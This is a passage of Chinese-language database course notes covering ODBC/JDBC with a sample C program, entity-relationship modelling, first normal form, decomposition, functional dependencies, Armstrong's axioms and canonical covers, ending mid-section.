char *sqlprog定义了一个包含占位符?的SQL语句。占位符用于在执行时插入实际的值。EXEC SQL PREPARE dynprog FROM :sqlprog;准备动态SQL程序dynprog,将SQL语句从字符串变量sqlprog中读取。char v_account[10] = "A_101";定义了一个变量v_account,用于存储要更新的账户号码。EXEC SQL EXECUTE dynprog USING :v_account;执行准备好的SQL程序dynprog,并通过USING子句将v_account的值插入到SQL语句中的占位符位置。
ODBC and JDBC¶
开放数据库互连(ODBC,Open DataBase Connectivity)
一种用于应用程序与数据库服务器通信的标准。
通过应用程序接口(API)来:
- 打开与数据库的连接,
- 发送查询和更新,
- 获取结果。
GUI、电子表格等应用程序可以使用 ODBC。
嵌入式 SQL 与 ODBC 的比较:
- 嵌入式 SQL:预编译器是特定于 DBMS 的。
- ODBC 提供了一种通过 API 将数据库连接到应用程序程序员的标准化方式。
- 不特定于 DBMS。
- 不需要预编译。
ODBC提供了一个公共的、与具体数据库无关的应用程序设计接口API 。它为开发者提供单一的编程接口,这样同一个应用程序就可以访问不同的数据库服务器。
使用ODBC访问数据库的方法:
- ODBC API访问数据库
- Visual C++的MFC提供了丰富的ODBC类,它们封装了大量的函数用以完成数据库的大部分应用
访问数据库的其他方法:
- OLE DB (Object Link and Embedding DataBase) --- 是一套通过COM (Component Object Model,组件对象模型)接口访问数据库的ActiveX的底层接口技术,速度快,支持关系型和非关系型数据库,编程量大。
- ADO---基于COM,建立在OLE DB 之上,更易于使用.
- DAO (Data Access Objects)
句柄(Handle)是一种抽象的引用,用于标识和管理系统资源。句柄通常是一个整数或指针,程序通过它来访问和操作特定的资源,而不需要直接与资源的底层实现交互。
graph TD
A[应用程序] --> B[环境句柄]
B --> C[连接句柄]
B --> D[连接句柄]
B --> E[连接句柄]
D --> F[语句句柄]
D --> G[语句句柄]
D --> H[语句句柄]
-
分配环境句柄
-
分配连接句柄
3.用已分配的连接句柄连接数据源
说明:hdbc是一个已分配的连接句柄;
szDSN和cbDSN分别表示系统所要连接的数据源名称字符串及其长度;
szUID和cbUID分别表示连接数据源的用户名字符串及其长度
szAuthStr和cbAuthStr分别表示连接数据源的权限字符串及其长
度。
-
分配语句句柄
-
1直接执行SQL语句
说明:hstmt是一个有效的语句句柄;szSqlStr和cbSqlStr分别表示将要执行的SQL语句的字符串及其长度。 例子:retcode=SQLExecDirect(hstmt, "delete from book where ISBN=1", SQL_NTS);说明:删除book表中ISBN=1的记录。SQL_NTS是ODBC的一个常数,当字符串是以NULL结束时,可用它来表示字符串的长度。
5.2有准备地执行SQL语句 如果SQL语句需要执行几次,则采用有准备的执行更好,避免了SQL语句的多次分析。有准备的执行需要两个函数。
说明:SQL语句准备函数,参数同SQLExecDirect。 说明:SQL语句执行函数- 查询结果的获取 说明:把游标移到下一行,当查询语句执行后第一次调用时移到结果集的第一行。 说明:读取游标指向行的列值。 icol和fCType分别表示结果集的列号和类型; rgbValue和cbValueMax是接收数据存储区的指针和最大长度; pcbValue是返回参数,表示本次调用后实际接收到的数据的字节数。
7.释放语句句柄
说明:foption指定选项,一个选项是用SQL_DROP表示释放所有与该句
柄相关的资源。
8.断开数据源连接
9.释放连接句柄10.释放环境句柄
Example
int ODBCexample() // 程序结构
{
RETCODE error;
HENV env; /* environment */
HDBC conn; /* database connection */
SQLAllocEnv(&env);
SQLAllocConnect(env, &conn); /* 建立连接句柄 */
SQLConnect (conn, "MySQLServer", SQL_NTS, "user", SQL_NTS, "password", SQL_NTS); /* 建立用户user与数据源的连接,SQL_NTS表示前一参量以null结尾 */
char branchname[80];
float balance;
int lenOut1, lenOut2;
HSTMT stmt;
SQLAllocStmt(conn, &stmt); /* 为该连接建立数据区,将来存放查询结果 */
char *sqlquery = "select branch_name, sum(balance) from account group by branch_name"; /* 装配SQL语句 */
error = SQLExecDirect(stmt, sqlquery, SQL_NTS); /* 执行sql语句,查询结果存放到数据区stmt,同时sql语句执行状态的返回值送变量error */
if (error == SQL_SUCCESS) {
SQLBindCol(stmt, 1, SQL_C_CHAR, branchname, 80, &lenOut1);
SQLBindCol(stmt, 2, SQL_C_FLOAT, &balance, 0, &lenOut2);
/* 对stmt中的返回结果数据加以分离,并与相应变量绑定。第1项数据转换为C的字符类型,送变量branchname(最大长度为80),lenOut1为实际字符串长度(若=-1代表null),第2项数据转换为C的浮点类型送变量balance中 */
while (SQLFetch(stmt) >= SQL_SUCCESS) { /* 逐行从数据区stmt中取数据,放到绑定变量中 */
printf("%s %.2f\n", branchname, balance);
/* 对取出的数据进行处理 */
}
}
SQLFreeStmt(stmt, SQL_DROP); /* 释放数据区 */
SQLDisconnect(conn);
SQLFreeConnect(conn);
SQLFreeEnv(env);
}
JDBC(Java Database Connectivity)是Java语言中用于连接和操作数据库的API。它提供了一种标准的方法,使Java应用程序能够与各种数据库进行交互。JDBC允许开发者执行SQL语句、检索和更新数据库中的数据。
Entity Relationship Model¶
约 3582 个字 27 张图片 预计阅读时间 12 分钟
Steps of Database design
- Requirement analysis
- Conceptual database design,一般在这个阶段使用ER图来描述数据库的结构
- Logical database design,将ER图转换为关系模式
- Schema refinement,对关系模式进行优化
- Physical database design,选择合适的数据库管理系统,并进行优化
- Implementation,将数据库设计文档转换为实际的数据库
Entity Sets¶
real world可以由实体的集合与实体之间的联系组成,即
- Collection of entities
- Relationships between entities
Entity
An entity is an object that exists and is distinguishable from other objects. --- An entity may be concrete, or abstract.
Entity has attributes, which are the properties of the entity.
Domain is the set of possible values for an attribute.
例如:
- 一个学生,有姓名,年龄,性别,学号等属性
- 一个课程,有课程名,学分,课程号等属性
- 一个图书馆,有图书馆名,地址等属性
- 一个订单,有订单号,订单金额等属性
- 一个员工,有员工名,员工号等属性
Entity Set
An entity set is a collection of entities that share the same attributes.
例如:
- 一个学生集合
- 一个课程集合
- 一个图书馆集合
Relationship
A relationship is a connection between two entities.
Attribute types¶
- Simple attribute:原子化,不可分割的属性
-
Composite attribute
- 复合属性是由多个简单属性组成的属性。它可以分解为更基本的属性。
- 例如,地址可以是一个复合属性,它由街道、城市、州和邮政编码等简单属性组成。
- 使用复合属性的好处是可以更好地组织和管理数据,因为它允许将相关的信息分组在一起。
-
Single-valued attribute
- 单值属性是指一个属性只能取一个值。
- 例如,一个人的姓名只能是一个值。
-
Multi-valued attribute
- 多值属性是指一个属性可以有多个值。
- 例如,一个人的电话号码可以是多值属性,因为一个人可能有多个电话号码(如家庭电话、工作电话、手机等)。
- 在数据库设计中,处理多值属性时通常需要创建一个独立的表来存储这些值,以便于管理和查询。
Info
简单和复合,单值和多值是属性类型的两个维度。既可以有简单多值属性,也可以有复合单值属性;
- Derived attribute
- 派生属性是从其他属性计算得出的属性。
- 例如,一个人的年龄可以从出生日期计算得出。
例如在address这个复合属性中,street也可以是一个复合属性,它是address的一个分量属性;
Relationship Sets¶
关系是两个或多个不同类实体之间的关联
一个联系集(relationship set)包含多个同类的联系实例,表示两个或多个实体集之间的关联;
可以这样表示
其中,\((e_1, e_2, \ldots, e_n)\) 是一个关系,\(E_i\) 是一个实体集。
- 例如:\((\text{Jones}, \text{L-17}) \in \text{borrower}\),其中 \(\text{Jones} \in \text{customer}\) 且 \(\text{L-17} \in \text{loan}\)
属于 \(\text{student, course}\)
Degree and Cardinality¶
一个关系集的度(degree)是参与该关系的实体集的个数;
例如:
- 一个二元关系集,表示两个实体集之间的关联;特别的,Relationship sets that involve two entity sets are binary (or degree two).
- 一个三元关系集,表示三个实体集之间的关联;
Mapping Cardinality:
-
一个实体集可以与另一个实体集有多种关联方式,这种关联方式的数量称为映射基数(mapping cardinality)。
-
One-to-one: 一对一
- One-to-many: 一对多
- Many-to-one: 多对一
- Many-to-many: 多对多
Keys for Relationship Sets¶
- 一个关系集的键(key)是唯一标识该关系集的属性或属性集。通常由参与这个关系的实体集的键组成。
ER Diagrams¶
ER图是表示实体集和关系集之间关系的一种图形化表示方法。
- 矩形代表Entity Sets
- 菱形代表Relationship Sets
- 椭圆代表Attributes
- 双椭圆代表multivalued attributes.
- 虚椭圆代表derived attributes.
- 没用叶子节点代表Simple attributes.
- 有叶子节点代表Composite attributes.
- 下划线代表key attributes.
在实体关系模型中,关系的实体集不一定是不同的,这意味着一个实体集可以在同一个关系中扮演多个角色。这种情况被称为自环联系集(Recursive relationship set)。
角色(Role):在一个关系中,实体所扮演的功能或角色。例如,在“works-for”关系集中,标签“manager”(经理)和“worker”(工人)就是角色;它们指定了员工实体如何通过“works-for”关系集进行交互。
角色标签是可选的,主要用于澄清关系的语义。通过使用角色标签,可以更清晰地表达实体在关系中的具体作用,避免歧义。
使用(->)表示one,使用(——)表示many,例如在上面的例子中,员工和manager就是一种一对多的关系;
使用这种表示方法就可以表示四种关系
Example
还可以使用单线来表示部分参与,双线来表示全参与
也可以在线的上方来指定参与度
在loan的上方有1..1代表每个loan至多至少参与一个borrow关系,而customer的上方有0..*代表每个customer可以不参与任何borrow关系,也可以参与多个borrow关系;
即customer和loan的关系是one-to-many
Binary Vs N-ary Relationships¶
二元关系(Binary Relationship):涉及两个实体集的关联。
多元关系(N-ary Relationship):涉及三个或更多实体集的关联。
有些看似非二元的关系可能更适合用二元关系来表示。例如,一个三元关系“父母”,将一个孩子与他的父亲和母亲联系起来,最好用两个二元关系来替代,即“父亲”和“母亲”。
使用两个二元关系可以表示部分信息,例如,只知道母亲的情况。但是,也有一些关系是自然的非二元关系,例如“works-on(employee, branch, job)”。
但是总的来说,任何非2元关系都可以通过中间的连接实体集来转换为2元关系。
Example
其过程可以总结为这样:
- 将有n个度的关系的位置替换为一个中间的实体集E
- 将E与n个实体集通过n个二元关系连接起来
但是也不是唯一的,也可以将原本就存在的实体集作为中间的实体集,例如:
Weak Entity Sets¶
在实体关系模型中,一个没有主键的实体集被称为弱实体集(weak entity set)。弱实体集的存在依赖于一个标识实体集(identifying entity set)的存在。弱实体集必须通过一个从标识实体集到弱实体集的全参与、一对多的关系集(identifying relationship set)与标识实体集关联。标识关系用双菱形表示。
弱实体集的判别器discriminator(或部分键)是用于区分弱实体集中所有实体的一组属性。弱实体集的主键由强实体集的主键(弱实体集依赖于其存在的实体集)和弱实体集的判别器组成。
Key-point
在课程-章节的例子中,course就是强实体集,也是section的依赖实体集(标识实体集),section就是弱实体集,course_section就是标识关系集。
在section这个weak entity set中,其判别器就是section_id
在弱实体集(weak entity set)中,强实体集的主键通常不会显式地存储,因为它已经隐含在标识关系(identifying relationship)中。也就是说,弱实体集依赖于强实体集的存在,而这种依赖关系通过标识关系来体现。
具体到例子中,如果我们在 section(弱实体集)中显式地存储 course_id(强实体集 course 的主键),那么 section 就可以被视为一个强实体集,因为它不再依赖于 course 的存在来唯一标识自己。然而,这样做会导致 section 和 course 之间的关系被 course_id 这个属性所隐含的关系重复定义。
一个另外的常见的例子是贷款和还贷,loan是强实体集,也是payment的依赖实体集,payment就是弱实体集,loan_payment就是标识关系集。
payment是多值属性,因为一个贷款可以有多个还款记录
Extended E-R Features¶
Stratum of entity sets¶
- Specialization: 一个实体集可以被分解为多个子实体集,每个子实体集具有不同的属性。
自顶向下的设计过程中我们在一个实体集中指定一些子分组,这些子分组与该实体集中的其他实体有所不同。 这些子分组会成为较低层次的实体集,它们拥有一些不适用于较高层次实体集的属性,或者参与一些较高层次实体集不涉及的关系。 属性继承 —— 较低层次的实体集继承与之相关联的较高层次实体集的所有属性和关系参与情况。
在这里Person可以被细分为employee和customer,而employee又可以继续细分;
- Generalization: 一个实体集可以被分解为多个子实体集,每个子实体集具有不同的属性。
一种自底向上的设计过程 —— 将多个具有相同特征的实体集合并为一个更高层次的实体集。 特殊化和泛化彼此是简单的逆向过程;它们在实体 - 关系图(E-R 图)中的表示方式相同
分类的方式既可以是条件定义的(Condition-defined)
例如所有大于65岁的为一组,所有小于18岁的为一组,所有介于18到65岁之间的为一组;
也可以是用户定义的(User-defined)
Disjoint & Overlapping¶
Disjoint指两个实体集的交集为空,即两个实体集没有共同的实体。在第二种表示方法种的employee和student是overlapping的;它们分别由两个箭头指向person,但是instructor和secretary就是disjoint的;它们由一个共同的箭头指向employee.
Total & Partial¶
完全泛化指的是所有的Entity都必须属于泛化出来的其中一个,Partial泛化指的是有些Entity不属于泛化出来的任何一个。
Aggregation¶
Express relationships between relationships;
Relationship sets works-on and manages represent overlapping information.
Every manages relationship corresponds to a works-on relationship.
However, some works-on relationships may not correspond to any manages relationships.
So we can’t discard the works-on relationship.
Eliminate this redundancy via aggregation.Treat relationship as an abstract entity.
Allows relationships between relationships.
Abstraction of relationship into new entity.
Without introducing redundancy, the following diagram represents:
An employee works on a particular job at a particular branch. An employee, branch, job combination may have an associated manager.
Summary
E-R design Decisions¶
- Use an attribute or entity set to represent an object?
若一个对象只对其名字及单值感兴趣,则可作为属性,如性别;若一个对象除名字外,本身还有其他属性需描述,则该对象应定义为实体集。如电话, 部门.
一个对象不能同时作为实体和属性.
一个实体集不能与另一实体集的属性相关联,只能实体与实体相联系.
- Use it as an entity set or a relationship set?
两个对象之间发生的动作使用relationship set表示
- Use it as an attribute of an entity or a relationship?,
e.g., student(sid, name, sex, age, …, supervisor-id, supervisor-name, supervisor-position, …, class, monitor)
要从对象的语义独立性和减少数据冗余方面考虑
-
The use of a ternary or n-ary relationship versus a pair of binary relationships.
-
The use of a strong or weak entity set.
-
The use of specialization/generalization – contributes to modularity in the design (有助于模块化).
-
The use of aggregation – can group a part of E-R diagram into a single entity set, and treat it as a single unit without concern for the details of its internal structure.
Reduction of an E-R Schema to Tables¶
Converting an E-R diagram to a table format is the basis for deriving a relational database design from an E-R diagram.
A database which conforms to an E-R diagram can be represented by a collection of tables.
For each entity set and relationship set, there is a unique table which is assigned the name of the corresponding entity set or relationship set.
Composite attributes are flattened out by creating a separate attribute for each component attribute. 复合属性被展平为每个组件属性创建一个单独的属性。
A multivalued attribute M of an entity E is represented by a separate table EM: 多值属性M的实体E表示为单独的表EM:
A relationship set is represented as a table with columns for the primary keys of the two participating entity sets, (which are foreign keys here) and any descriptive attributes of the relationship set itself.
即关系集被表示为具有两个参与实体集的主键(这里作为外键)和关系集本身的描述性属性的表。
对于1:n联系,可将“联系”所对应的表,合并到对应“多”端实体的表中 例如
account(account-number, balance);
branch(branch-name, branch-city, assets);
account-branch(account-number, branch-name)
If participation is partial on the many side, replacing a table by an extra attribute in the relation corresponding to the “many” side could result in null values.
E.g., cust-banker(customer-id, employee-id, type); 但有的customer没有banker, 则合并之后得: Customer(customer-id, cust-name, cust-street, cust-city, banker-id, type) ,导致Customer中有些元组的banker-id、 type为null。
For one-to-one relationship sets, either side can be chosen to act as the “many” side
The table corresponding to a relationship set linking a weak entity set to its identifying strong entity set is redundant,即对应identifying relationship set的表是多余的,因为存放payment的表可以包含loan的表的主键。这样就直接不需要loan_payment表了。
在泛化中,有两种方式来表示子分组的属性;
- 只包含子分组特有的属性
但是这样访问子分组需要访问两张表,效率较低
- 包含子分组和父分组共同的属性,共同的属性存在父分组中
这样会导致一些冗余的存贮;
Relational Datavase design¶
约 8186 个字 1 张图片 预计阅读时间 28 分钟
First Normal Form¶
Definition
A relational schema R is infirst normal form(1NF)if the domains of all attributes of R are atomic.
第一范式(First Normal Form,简称1NF)是数据库规范化过程中的基本范式,也是其他所有高级范式的基础。一个关系模式满足第一范式需要符合以下条件:
- 原子性:表中的每个属性(列)必须是不可再分的原子值,不允许有复合值或多值属性。
- 每个关系有一个主键:每个关系(表)必须有一个主键,用于唯一标识表中的每一行数据。
- 每个属性只包含单一值:表中的每个单元格只能包含一个值,不允许有集合、数组或其他多值类型。
不符合第一范式的表:
| 学生ID | 学生姓名 | 课程 |
|---|---|---|
| 1 | 张三 | 数学, 物理 |
| 2 | 李四 | 语文, 历史, 地理 |
符合第一范式的表:
| 学生ID | 学生姓名 | 课程 |
|---|---|---|
| 1 | 张三 | 数学 |
| 1 | 张三 | 物理 |
| 2 | 李四 | 语文 |
| 2 | 李四 | 历史 |
| 2 | 李四 | 地理 |
How to deal with non-atomic values
-
复合属性:使用多个单独的属性来代替复合值。
-
多值属性:使用多个单独的属性来代替多值属性。或者使用一个单独的表,或者使用single field来表示多值属性。
例如:
| 学生ID | 学生姓名 | 课程 |
|---|---|---|
| 1 | 张三 | 数学 |
| 1 | 张三 | 物理 |
| 2 | 李四 | 语文 |
| 2 | 李四 | 历史 |
| 2 | 李四 | 地理 |
可以将课程列分解为两个单独的列:
| 学生ID | 学生姓名 | 课程1 | 课程2 |
|---|---|---|---|
| 1 | 张三 | 数学 | 物理 |
| 2 | 李四 | 语文 | 历史 |
| 2 | 李四 | 地理 |
也可以使用一个单独的表来表示多值属性:
| 学生ID | 课程 |
|---|---|
| 1 | 数学 |
| 1 | 物理 |
| 2 | 语文 |
也可以使用一个新的属性来表示多值属性,合并成同一个字段,但是这种方式实际上在技术上仍然违反了1NF:
| 学生ID | 学生姓名 | 课程表 |
|---|---|---|
| 1 | 张三 | 数学, 物理 |
| 2 | 李四 | 语文, 历史, 地理 |
一个域中的元素是否是原子的,取决于它们在关系中的使用方式。
Eg
字符串一般来说会被认为是原子的;
但是如果每个学生被机遇roll number,形如'CS0012','EE1127'等,如果前缀被挑选出来,用于标识学生所在的系,那么这个域的元素就不是原子的。
但是这样做是不好的:这导致信息被编码在应用程序中,而不是在数据库中。
Pitfalls in Relational Database Design¶
关系数据库要求我们寻找一个好的schema,对于坏的schema,会出现以下问题:
- 数据冗余
- 更新异常
- 插入异常
- 删除异常
- 表示信息的能力下降
一个设计不良的表
| 学生ID | 学生姓名 | 系名 | 系主任 | 课程编号 | 课程名称 | 成绩 |
|---|---|---|---|---|---|---|
| 101 | 张三 | 计算机系 | 王教授 | CS101 | 数据库原理 | 85 |
| 101 | 张三 | 计算机系 | 王教授 | CS102 | 计算机网络 | 92 |
| 102 | 李四 | 物理系 | 刘教授 | PH101 | 力学 | 78 |
| 103 | 王五 | 计算机系 | 王教授 | CS101 | 数据库原理 | 91 |
这个表存在的问题:
- 冗余:系名和系主任信息在每个学生的多条记录中重复
- 更新异常:如果系主任变更,需要更新多行记录
- 删除异常:如果删除所有选修某课程的学生记录,课程信息也会丢失
- 插入异常:无法添加尚未选课的新生,因为成绩字段无法填写
-
缺乏适当的范式化:未能将表分解为合适的范式,导致上述异常问题
-
过度范式化:将表分解得过于细碎,导致需要大量连接操作,影响查询性能
-
不恰当的主键选择:
- 使用不稳定的业务属性作为主键
- 使用过于复杂的复合主键
- 没有为表定义适当的主键
-
糟糕的命名约定:
- 表名和列名不清晰
- 不一致的命名风格
- 使用保留字作为名称
-
未恰当使用索引:
- 索引不足,导致查询性能差
- 索引过多,影响数据修改操作的性能
-
忽视数据完整性约束:
- 缺少必要的外键约束
- 缺少检查约束或触发器来维护复杂的数据规则
-
不考虑数据增长:
- 设计未考虑到数据随时间增长的需求
- 表结构不灵活,难以扩展
Decomposition¶
一个调整schema的方法叫decomposition,它将一个关系分解为多个关系。
例如将r(ABCD)分解为r1(AB)和r2(BCD)
要求1
如果\(R_1\)和\(R_2\)的是由\(R\)通过decomposition得到的,那么\(R_1\)和\(R_2\)的属性并集是\(R\)的属性
要求2
无损连接分解(lossless join decomposition)即,对于所有可能的关系\(r \in R\),有
例如\(R=(A,B),R_1=(A),R_2=(B)\),那么
没有共同属性时,natural join相当于笛卡尔积
这种分解是non-lossless的,因为\(R_1(r) \bowtie R_2(r) \neq r\)
总的来说,无损分解要求子关系是原关系的投影,并且子关系通过自然连接可以恢复原关系。
通过decomposition,可以去除冗余。
Functional Dependencies¶
Definition
Let \(R\) be a relation schema,\(\alpha\) and \(\beta\) be attributes of \(R\).
The functional dependency \(\alpha \rightarrow \beta\) holds on \(R\) if and only if for any legal relations \(r(R)\), whenever any two tuples \(t_1\) and \(t_2\) of \(r\) agree on the attributes \(\alpha\), they also agree on the attributes \(\beta\), i.e.,
简单来说,功能依赖\(\alpha \rightarrow \beta\)表示:如果我们知道\(\alpha\)的值,就能唯一确定\(\beta\)的值。
考虑一个学生选课关系:StudentCourse(学号, 姓名, 年龄, 课程号, 成绩, 学分)
在这个关系中可能存在以下功能依赖:
- 学号 \(\rightarrow\) 姓名, 年龄
- 学号, 课程号 \(\rightarrow\) 成绩
- 课程号 \(\rightarrow\) 学分
Functional dependency vs. key
-
A functional dependency is a generalization of the notion of a key.
-
\(K\) is a superkey of \(R\) if and only if \(K \rightarrow R\)
-
\(K\) is a candidate key of \(R\) if and only if \(K \rightarrow R\) and for no \(\alpha \subset K\), \(\alpha \rightarrow R\)
-
Functional dependencies allow us to express constraints that cannot be expressed using keys.
The use of functional dependencies¶
We can use functional dependencies to:
- Test relations to see if they are legal under a given set of functional dependencies \(F\).
如果r是R的合法关系,那么称r满足F(r satisfies F)。
例如 \(r\) 的表如下
| A | B | C | D |
|---|---|---|---|
| a1 | b1 | c1 | d1 |
| a1 | b2 | c1 | d2 |
| a2 | b2 | c2 | d2 |
| a2 | b3 | c2 | d3 |
| a3 | b3 | c2 | d4 |
那么F={A \(\rightarrow\) C, AB \(\rightarrow\) D(也可以写为(A,B) \(\rightarrow\) D),ABC \(\rightarrow\) D}
但是A \(\rightarrow\) B不成立;
- Specify constraints(F) on the set of legal relations--schema
我们说F在R上成立(F holds on R) 如果对于所有可能的合法关系r(R),r满足F。
在上面那个例子中,我们看到了一个合法的关系,但是它满足F,但是不能仅仅通过一个关系来确定。
容易判别一个r是否满足给定的F;不易判别F是否在R上成立。不能仅由某个r推断出F。R上的函数依赖F, 通常由定义R的语义决定。
Functional dependency types¶
-
平凡的功能依赖(trivial functional dependency):如果\(Y \subseteq X\),那么\(X \rightarrow Y\)是平凡的(trivial)。例如:\((学号, 姓名) \rightarrow 学号\)。
-
非平凡的功能依赖(non-trivial functional dependency):如果\(Y \not\subseteq X\),那么\(X \rightarrow Y\)是非平凡的(non-trivial)。例如:\(学号 \rightarrow 姓名\)。
-
完全功能依赖(fully functional dependency):如果\(X \rightarrow Y\),且对于\(X\)的任何真子集\(X'\),都不存在\(X' \rightarrow Y\),则称\(Y\)完全功能依赖于\(X\)。
-
部分功能依赖(partial functional dependency):如果\(X \rightarrow Y\),但存在\(X\)的真子集\(X'\),使得\(X' \rightarrow Y\),则称\(Y\)部分功能依赖于\(X\)。
Armstrong's axioms¶
Armstrong公理是一组用于推导功能依赖的规则:
-
自反律 (reflexivity):如果\(Y \subseteq X\),则\(X \rightarrow Y\)(平凡依赖)
-
增广律 (augmentation):如果\(X \rightarrow Y\),则\(XZ \rightarrow YZ\),也有\(XZ \rightarrow Y\)(对于任意属性集\(Z\))
-
传递律 (transitivity):如果\(X \rightarrow Y\)且\(Y \rightarrow Z\),则\(X \rightarrow Z\)
Note
以上三条定律是
- Sound:从Armstrong公理推导出的所有功能依赖都是正确的。包对的。
- Complete:Armstrong公理可以推导出所有可能的功能依赖。完备的。
从Armstrong公理可以推导出以下规则:
- 合并规则 (union rule):如果\(X \rightarrow Y\)且\(X \rightarrow Z\),则\(X \rightarrow YZ\)
Proof
\(X \rightarrow Y\),则两边添加\(X\),得到\(XX \rightarrow XY\),即\(X \rightarrow XY\)
同理,\(X \rightarrow Z\),则两边添加\(Y\),得到\(XY \rightarrow YZ\),由传递律推导出\(X \rightarrow YZ\)
- 分解规则 (decomposition rule):如果\(X \rightarrow YZ\),则\(X \rightarrow Y\)且\(X \rightarrow Z\)
Proof
\(YZ \rightarrow Y\),且\(YZ \rightarrow Z\),由传递律推导出\(X \rightarrow Y\)和\(X \rightarrow Z\)
- 伪传递规则 (pseudo-transitivity rule):如果\(X \rightarrow Y\)且\(WY \rightarrow Z\),则\(XW \rightarrow Z\)
Proof
\(X \rightarrow Y\),则\(XW \rightarrow YW\),由传递律推导出\(XW \rightarrow Z\)
Closure of a set of functional dependencies¶
给定一组功能依赖\(F\),我们可以使用Armstrong公理推导出所有可能的功能依赖,这个集合称为\(F\)的闭包,记作\(F^+\)。
How to find \(F^+\)
repeat:
For each functional dependency \(f \in F^+\)
-
Apply reflexivity and augmentation rules on \(f\)
-
Add the resulting functional dependencies to \(F^+\)
-
For each pair of functional dependencies \(f_1\) and \(f_2\) in \(F^+\)
-
If \(f_1\) and \(f_2\) can be combined using transitivity
-
Then add the resulting functional dependency to \(F^+\)
Until \(F^+\) does not change any further
Attribute closure¶
如何测试属性A是不是R的一个superkey?
- 找到\(F^+\)
- 检查\(A \rightarrow B_i \in F^+\)
- 如果\(\bigcup B_i = R\),则A是superkey
但是\(F^+\)很难计算,所以需要使用属性闭包。直接计算能被\(A\)属性确定的属性集合。
Definition
对于属性集\(X\),其属性闭包\(X^+\)是所有被\(X\)函数确定的属性的集合:
Example
给定关系R(A,B,C,D,E)和功能依赖集F = {A → BC, CD → E, B → D, E → A}
求属性集{A}的闭包:
- 初始:{A}+ = {A}
- 使用A → BC:{A}+ = {A,B,C}
- 使用B → D:{A}+ = {A,B,C,D}
- 使用CD → E:{A}+ = {A,B,C,D,E}
因此{A}+ = {A,B,C,D,E}
所以A是superkey。
How to find \(A^+\)?
result = A while (changes to result): for each functional dependency f in F: if f.left subset of result: result = result union f.right
return result
使用属性闭包可以避免反复使用公理寻找\(F^+\)。
There are three kind uses if the atrribute set closure:
- Test if an attribute is a superkey,查看\(A^+\)是否等于R
- Testing functional dependencies,查看\(X \rightarrow Y\)是否在\(F^+\)中,只需要查看\(Y \subseteq X^+\)
- Computing closure of F,计算\(F^+\),对于每个属性集\(X\),计算\(X^+\),对于每个\(Y \subseteq X^+\),\(X \rightarrow Y\)在\(F^+\)中,输出所有的\(X \rightarrow Y\)组成\(F^+\)
Canonical cover¶
DBMS should always check to ensure not violate any Functional Dependency (FD) in F.
Definition
一个关系模式\(R\)的正则覆盖(canonical cover)是\(F\)的一个最小超集,满足:
- \(F\)中的所有函数依赖(FD)都包含在\(F_c\)中
- \(F_c\)中的所有函数依赖都满足\(F\)中的所有函数依赖
- \(F_c\)中左边是唯一的
- 对于\(FD \in F_c\),\(FD\)不包含无关属性(Extraneous attribute)
将F中的多余属性去掉就得到F的正则覆盖。
对于多余属性,有三种情况
- FD可从其它FD推导出
Eg:
\(A \rightarrow C\)可从\(A \rightarrow B\)和\(B \rightarrow C\)推导出,所以\(A \rightarrow C\)是多余的。
\(F_c=\{A \rightarrow B, B \rightarrow C\}\)
- FD中左边是多余的
Eg:
由于从前两个可以推导出\(A \rightarrow C\),所以\(A \rightarrow AC \rightarrow D\),所以属性\(C\)是多余的。
\(F_c=\{A \rightarrow B, B \rightarrow C, A \rightarrow D\}\)
- FD中右边是多余的
Eg:
\(C\)是多余的,因为\(A \rightarrow CD\)可以写为\(A \rightarrow C\)和\(A \rightarrow D\),而\(A \rightarrow C\)已经可以由前两条推出\(F\)。
\(F_c=\{A \rightarrow B, B \rightarrow C, A \rightarrow D\}\)
Judging Extraneous Attributes¶
在寻找正则覆盖时,需要识别和移除多余属性。多余属性的判定可以分为以下两种情况:
对于函数依赖 \(\alpha \rightarrow \beta\) 在 \(F\) 中:
- 左侧多余属性
如果属性 \(A \in \alpha\),且 \(F\) 逻辑上等价于 \(F' = (F - \{\alpha \rightarrow \beta\}) \cup \{(\alpha - A) \rightarrow \beta\}\),则 \(A\) 在 \(\alpha\) 中是多余的。
也就是说,如果移除了 \(A\) 后的函数依赖仍能推导出相同的约束,则 \(A\) 是多余的。
例如:
- \(\alpha = \{A\alpha'\}\),\(\{A\alpha'\} \rightarrow \beta\)。若 \(F\) 蕴涵 \(\alpha' \rightarrow \beta\),则 \(\{A\alpha'\} \rightarrow \beta\) 多余,即 \(A\) 多余。
- 给定 \(F = \{A \rightarrow C, AB \rightarrow C\}\) 因为 \(F = \{A \rightarrow C, AB \rightarrow C\}\) 逻辑上蕴涵 \(A \rightarrow C\),所以 \(B\) 在 \(AB \rightarrow C\) 中是多余的, \(F' = \{A \rightarrow C, A \rightarrow C\} = \{A \rightarrow C\}\)
testing
testing if A is extraneous in \(\alpha\)
Compute \((\alpha - A)^+\) using F
If \((\alpha - A)^+\) contains \(\beta\), then A is extraneous in \(\alpha\)
在原属性下移除A后,新的属性集能推出原来的FD,则A是多余的,因为不需要A参与左侧也能推出右侧。
- 右侧多余属性
如果属性 \(A \in \beta\),且函数依赖集 \(F' = (F - \{\alpha \rightarrow \beta\}) \cup \{\alpha \rightarrow (\beta - A)\}\) 逻辑上蕴涵 \(F\),则 \(A\) 在 \(\beta\) 中是多余的。
例如:
- \(\beta = \{A\beta'\}\), \(\alpha \rightarrow \{A\beta'\}\),有 \(\{\alpha \rightarrow A, \alpha \rightarrow \beta\}\)。若 \(F'\) 蕴涵 \(\alpha \rightarrow A\),则 \(\alpha \rightarrow A\) 多余(即可用 \(F'\) 代替 \(F\))。
- 给定 \(F = \{A \rightarrow C, AB \rightarrow CD\}\) 由于 \(AB \rightarrow CD \Rightarrow \{AB \rightarrow C, AB \rightarrow D\}\),且 \(AB \rightarrow C\) 可以从 \(F' = \{A \rightarrow C, AB \rightarrow D\}\) 推导出, 因此 \(C\) 在 \(AB \rightarrow CD\) 中是多余的。
testing
testing if A is extraneous in \(\beta\)
Compute \(\alpha^+\) using \(F'\)
where \(F' = (F - \{\alpha \rightarrow \beta\}) \cup \{\alpha \rightarrow (\beta - A)\}\)
If \(\alpha^+\) contains A, then A is extraneous in \(\beta\)
在移除了包含可疑属性FD的新的F中,如果仍能推出A,则A是多余的。 因为A已经蕴含在新的F中。
Key-point
将包含可疑的多余属性的FD从F中去掉之后,再加上去掉多余属性的FD,得到新的F',如果F'与F等价,则去掉的可疑属性确实是多余的。
Computing canonical cover¶
要计算函数依赖集F的规范覆盖,需要执行以下步骤:
重复执行以下操作:
